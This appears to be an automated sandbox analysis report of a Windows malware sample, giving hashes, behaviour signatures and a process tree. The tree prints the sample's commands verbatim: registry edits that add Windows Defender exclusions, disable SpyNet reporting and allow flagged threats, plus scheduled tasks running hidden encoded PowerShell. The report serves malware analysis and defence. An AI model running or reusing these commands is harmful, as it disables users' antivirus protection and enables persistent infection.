Analysis

  • max time kernel
    146s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02-12-2022 00:09

General

  • Target

    file.exe

  • Size

    7.3MB

  • MD5

    3715597b2f1b41cdbadf0fb3aaf0879f

  • SHA1

    19f083bc76e979a91fc623864e427030f10ba168

  • SHA256

    bdd701df36a6448c51261f8e622396fa7d458fe9d6b0d9b2a8fa8174a687d468

  • SHA512

    96ec7b0ad7a7a6b6c3365159631c9068ecdacf9c2c693f6e67d36775cbb11210cbd5e45b426c7fe45a4453a769b57d446521a5aa1e39254c62b390f68ef88417

  • SSDEEP

    98304:91O/243CACjlaPeJ/gAVMKrOpBXigf+hQ73wTZm52IFLxoYguhBbb6rYtBEdufBe:91O/r3ZCBaPQJZriYsF52QvhB36j8Be

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 4 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops Chrome extension 1 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in System32 directory 27 IoCs
  • Drops file in Program Files directory 14 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 11 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 40 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1048
    • C:\Users\Admin\AppData\Local\Temp\7zSE033.tmp\Install.exe
      .\Install.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:2372
      • C:\Users\Admin\AppData\Local\Temp\7zSE5A2.tmp\Install.exe
        .\Install.exe /S /site_id "525403"
        3⤵
        • Executes dropped EXE
        • Checks BIOS information in registry
        • Checks computer location settings
        • Drops file in System32 directory
        • Enumerates system info in registry
        • Suspicious use of WriteProcessMemory
        PID:3188
        • C:\Windows\SysWOW64\forfiles.exe
          "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4636
          • C:\Windows\SysWOW64\cmd.exe
            /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:3820
        • C:\Windows\SysWOW64\forfiles.exe
          "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3580
          • C:\Windows\SysWOW64\cmd.exe
            /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:3844
            • \??\c:\windows\SysWOW64\reg.exe
              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
              6⤵
                PID:2260
              • \??\c:\windows\SysWOW64\reg.exe
                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
                6⤵
                  PID:2832
            • C:\Windows\SysWOW64\schtasks.exe
              schtasks /CREATE /TN "gqYSSFdFk" /SC once /ST 00:02:39 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
              4⤵
              • Creates scheduled task(s)
              PID:4008
            • C:\Windows\SysWOW64\schtasks.exe
              schtasks /run /I /tn "gqYSSFdFk"
              4⤵
                PID:3816
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /DELETE /F /TN "gqYSSFdFk"
                4⤵
                  PID:2768
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /CREATE /TN "bnXhqWnZYPWvluXGbm" /SC once /ST 00:11:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\ahDQVohyzlKmkignS\RiDICJVdUnKYVhP\Frhnimf.exe\" Rm /site_id 525403 /S" /V1 /F
                  4⤵
                  • Drops file in Windows directory
                  • Creates scheduled task(s)
                  PID:3564
          • \??\c:\windows\SysWOW64\reg.exe
            REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
            1⤵
              PID:228
            • \??\c:\windows\SysWOW64\reg.exe
              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
              1⤵
                PID:4540
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                1⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:1900
                • C:\Windows\system32\gpupdate.exe
                  "C:\Windows\system32\gpupdate.exe" /force
                  2⤵
                    PID:4380
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                  1⤵
                    PID:4476
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                    1⤵
                      PID:4356
                    • C:\Windows\system32\gpscript.exe
                      gpscript.exe /RefreshSystemParam
                      1⤵
                        PID:5060
                      • C:\Users\Admin\AppData\Local\Temp\ahDQVohyzlKmkignS\RiDICJVdUnKYVhP\Frhnimf.exe
                        C:\Users\Admin\AppData\Local\Temp\ahDQVohyzlKmkignS\RiDICJVdUnKYVhP\Frhnimf.exe Rm /site_id 525403 /S
                        1⤵
                        • Executes dropped EXE
                        • Drops file in System32 directory
                        • Suspicious use of WriteProcessMemory
                        PID:1712
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;"
                          2⤵
                          • Drops file in System32 directory
                          • Modifies data under HKEY_USERS
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of WriteProcessMemory
                          PID:2512
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                            3⤵
                            • Suspicious use of WriteProcessMemory
                            PID:1648
                            • C:\Windows\SysWOW64\reg.exe
                              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                              4⤵
                                PID:1548
                            • C:\Windows\SysWOW64\reg.exe
                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                              3⤵
                                PID:1344
                              • C:\Windows\SysWOW64\reg.exe
                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                3⤵
                                  PID:3956
                                • C:\Windows\SysWOW64\reg.exe
                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                  3⤵
                                    PID:936
                                  • C:\Windows\SysWOW64\reg.exe
                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                    3⤵
                                      PID:4020
                                    • C:\Windows\SysWOW64\reg.exe
                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                      3⤵
                                        PID:3320
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                        3⤵
                                          PID:4540
                                        • C:\Windows\SysWOW64\reg.exe
                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                          3⤵
                                            PID:3548
                                          • C:\Windows\SysWOW64\reg.exe
                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                            3⤵
                                              PID:3588
                                            • C:\Windows\SysWOW64\reg.exe
                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                              3⤵
                                                PID:3164
                                              • C:\Windows\SysWOW64\reg.exe
                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                3⤵
                                                  PID:3128
                                                • C:\Windows\SysWOW64\reg.exe
                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                  3⤵
                                                    PID:552
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                    3⤵
                                                      PID:2056
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                      3⤵
                                                        PID:368
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                        3⤵
                                                          PID:4620
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                          3⤵
                                                            PID:2252
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                            3⤵
                                                              PID:5000
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                              3⤵
                                                                PID:1472
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                                3⤵
                                                                  PID:3580
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                                  3⤵
                                                                    PID:4792
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                                    3⤵
                                                                      PID:208
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                                                      3⤵
                                                                        PID:2280
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                                                        3⤵
                                                                          PID:1960
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                                                          3⤵
                                                                            PID:1096
                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                          powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\KNfLkiMphNUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\KNfLkiMphNUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\NiCWuKvvKWJgC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\NiCWuKvvKWJgC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\jMSgazFzqJtVbLJEjcR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\jMSgazFzqJtVbLJEjcR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\kOgboOUMyeTU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\kOgboOUMyeTU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ypnECPGzU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ypnECPGzU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\BBXtEIsMTiOzNlVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\BBXtEIsMTiOzNlVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\ahDQVohyzlKmkignS\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\ahDQVohyzlKmkignS\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\kenPgsqBLemLniqf\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\kenPgsqBLemLniqf\" /t REG_DWORD /d 0 /reg:64;"
                                                                          2⤵
                                                                          • Drops file in System32 directory
                                                                          • Modifies data under HKEY_USERS
                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:748
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\KNfLkiMphNUn" /t REG_DWORD /d 0 /reg:32
                                                                            3⤵
                                                                              PID:1264
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\KNfLkiMphNUn" /t REG_DWORD /d 0 /reg:32
                                                                                4⤵
                                                                                  PID:3568
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NiCWuKvvKWJgC" /t REG_DWORD /d 0 /reg:32
                                                                                3⤵
                                                                                  PID:4552
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\KNfLkiMphNUn" /t REG_DWORD /d 0 /reg:64
                                                                                  3⤵
                                                                                    PID:4704
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\jMSgazFzqJtVbLJEjcR" /t REG_DWORD /d 0 /reg:32
                                                                                    3⤵
                                                                                      PID:1524
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\jMSgazFzqJtVbLJEjcR" /t REG_DWORD /d 0 /reg:64
                                                                                      3⤵
                                                                                        PID:3616
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\kOgboOUMyeTU2" /t REG_DWORD /d 0 /reg:32
                                                                                        3⤵
                                                                                          PID:1076
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NiCWuKvvKWJgC" /t REG_DWORD /d 0 /reg:64
                                                                                          3⤵
                                                                                            PID:2080
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\kOgboOUMyeTU2" /t REG_DWORD /d 0 /reg:64
                                                                                            3⤵
                                                                                              PID:3060
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ypnECPGzU" /t REG_DWORD /d 0 /reg:32
                                                                                              3⤵
                                                                                                PID:4380
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ypnECPGzU" /t REG_DWORD /d 0 /reg:64
                                                                                                3⤵
                                                                                                  PID:3256
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\BBXtEIsMTiOzNlVB /t REG_DWORD /d 0 /reg:64
                                                                                                  3⤵
                                                                                                    PID:808
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\ahDQVohyzlKmkignS /t REG_DWORD /d 0 /reg:32
                                                                                                    3⤵
                                                                                                      PID:2420
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\BBXtEIsMTiOzNlVB /t REG_DWORD /d 0 /reg:32
                                                                                                      3⤵
                                                                                                        PID:568
                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\ahDQVohyzlKmkignS /t REG_DWORD /d 0 /reg:64
                                                                                                        3⤵
                                                                                                          PID:4924
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\kenPgsqBLemLniqf /t REG_DWORD /d 0 /reg:32
                                                                                                          3⤵
                                                                                                            PID:2000
                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\kenPgsqBLemLniqf /t REG_DWORD /d 0 /reg:64
                                                                                                            3⤵
                                                                                                              PID:1636
                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                            schtasks /CREATE /TN "grCGWQYrs" /SC once /ST 00:01:22 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                            2⤵
                                                                                                            • Creates scheduled task(s)
                                                                                                            PID:1120
                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                            schtasks /run /I /tn "grCGWQYrs"
                                                                                                            2⤵
